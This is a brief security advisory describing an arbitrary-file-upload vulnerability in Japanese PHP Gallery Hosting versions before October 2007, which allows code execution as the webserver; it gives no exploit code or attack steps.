Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.
